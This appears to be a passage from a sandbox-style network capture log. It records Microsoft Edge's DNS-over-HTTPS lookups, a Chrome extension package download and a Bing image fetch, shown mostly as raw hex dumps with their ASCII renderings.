2024-11-28 14:17:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ce 00 04 8e fa 40 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49829	172.64.41.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb966cd87ced-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49821	142.250.181.65	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:39 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:40 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4ZjqXlR9c2WaJAkMQ9T29mKgZyUWAl30zlMeVWfVqvo7yS4sz72IU_VKJYbTtI74Oc9rQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 27 Nov 2024 16:45:00 GMT Expires: Thu, 27 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 77560 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-28 14:17:40 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-28 14:17:40 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49845	162.159.61.3	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 14:17:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 14:17:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 14:17:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9afb9e9c8b32c7-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 14:17:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49844	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:40 UTC	346	OUT	GET /th?id=OADD2.10239340418590_1Z5SLYPYIFLU5OB7B&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 14:17:41 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 525311 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9AC19761F47C429487BF535A66B2E5AB Ref B: EWR30EDGE0117 Ref C: 2024-11-28T14:17:40Z Date: Thu, 28 Nov 2024 14:17:40 GMT Connection: close
2024-11-28 14:17:41 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 31 35 3a 33 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:15:378C
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: 0f ef 79 9f dd d9 4b bd 7c cf 9a 9a c9 b9 3f bd b7 fe fa a9 95 36 fd ea 40 19 89 be ed 22 9d df 7b cc 55 fe e7 f1 50 ca ad f2 fd d6 a7 28 5f 2f 77 f7 bf 82 82 86 e1 7c b5 dd 26 e6 ff 00 63 f8 e8 fb ff 00 f3 d2 9e a3 ee b2 c7 f3 6c a1 53 67 f9 fb f5 23 b0 d5 3f f3 cf e6 5a 72 fc 94 36 e6 ff 00 75 bf a5 19 ce c6 fe 15 fe 3a 06 22 ff 00 7b cc 93 6b 7d ca 28 cf df 65 fe 2f fb e6 8a 09 3c 2d 66 d9 1e e8 e4 46 f9 3e ff 00 f7 d7 e9 52 2d ca ef 46 fb df ed ff 00 7e a8 c6 3e 4f 9b e5 dd ff 00 01 a2 39 36 6c db e6 2e df 99 fe 4f bf f9 d7 d8 72 2b 1f 23 76 b5 35 24 b8 89 a3 ff 00 96 75 24 72 6e d9 fb bf 95 be e7 f0 d6 56 fd bf 7b cb f9 bf c8 a9 1a 49 24 93 73 7d ef 97 fd ea 87 4f b1 5c ed 3d 4d 7b 7b 94 8b e6 fb cd f7 5d 36 7f 15 0d 3a 37 ee d5 fe ef df 7f e2 7f 61 Data Ascii: yK\|?6@"{UP(_/w\|&clSg#?Zr6u:"{k}(e/<-fF>R-F~>O96l.Or+#v5$u$rnV{I$s}O\=M{{]6:7a
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: 1c b7 6f 33 f7 9b 3f 8d fe 64 ff 00 f5 d6 c3 0d d2 3e df 31 7f d8 fb b5 fa 9d 1a aa ad 38 cd 75 47 cc ce 3c b2 68 18 2b fe ef f7 8d fe e7 f7 69 d1 ee 3b 17 cb a6 b6 d7 8f 6f 99 f7 7f 81 e9 aa 36 c8 8c bf 7b fd 8f e3 5a d4 92 46 45 69 3e 5f ba df 73 fd 8f 7f 5a 5c 33 5d 27 f7 be 6f 92 91 7e 59 36 af de 6f e3 4a 5d ff 00 27 92 bf 2e df e3 4f ee fb 54 82 76 13 66 e9 11 7c bd ed ff 00 b2 d2 b4 6d fc 5f 79 7f 82 93 3b a3 45 fb bb 7e 5f ea 69 b1 8d bb 36 fc b1 fd e4 d9 f3 51 76 3d 87 af fa cd de 66 dd bf 2d 11 a6 ff 00 bd f2 b7 fb ff 00 37 14 ad 1e f8 d3 6c 7b 5b ef 3b ff 00 b5 52 b1 c6 c6 f2 e4 f9 be 6d 9b fd 7b d2 b8 d2 22 8c 6e 7f 39 bf d6 7c ab 4a df 2f ef 17 e6 93 fd bf 6a 9a 38 8a c7 b5 63 db b7 fe fa 7a 6c 71 ab fc df c4 bf 2b ff 00 15 20 22 54 fe f4 72 Data Ascii: o3?d>18uG<h+i;o6{ZFEi>_sZ\3]'o~Y6oJ]'.OTvf\|m_y;E~_i6Qv=f-7l{[;Rm{"n9\|J/j8czlq+ "Tr
2024-11-28 14:17:41 UTC	16384	IN	Data Raw: 3f 0a d6 f1 25 fe 99 15 ad be ad 0f ca d2 fe e9 e1 fb bb ff 00 da cf ad 78 ed 9e b5 a8 6b 17 d7 1a 5d bc 12 7d ab ce 8e 5b 47 4f ba 9e b5 d8 6b 9e 1f d7 b5 4d 36 1d 2f 52 bb 8e d6 e1 51 55 36 3f cb b8 f3 ff 00 7d 52 c0 e1 ea 2c 44 64 de a9 7c c2 95 39 bf 89 db f0 35 35 0f 11 db 5e f8 82 1b 5b 88 de 5b 76 fd d6 c8 7f 8e 42 bb 7a ff 00 76 a6 6b df 0b da f9 31 de 47 1b f9 49 e4 3a 7f c0 ba 95 ae 4f e1 4e ab a7 d8 6a bf d8 7a d7 91 2d d2 dc 34 5f 3f f7 bf bd 9a 93 c4 da 54 09 ae 5f 5f 42 fe 55 ba ff 00 a9 4f bd bd 8d 7b 38 88 41 ca 13 e6 b3 4c da 52 5a 25 3b 34 5b d4 3c 20 b7 bf 12 b4 9d 6b 41 92 45 8e 29 b7 5c 6c 7f be bd ab bc b5 91 4e a8 ec b7 7f 77 e5 74 7f 95 6b 84 d0 6c f5 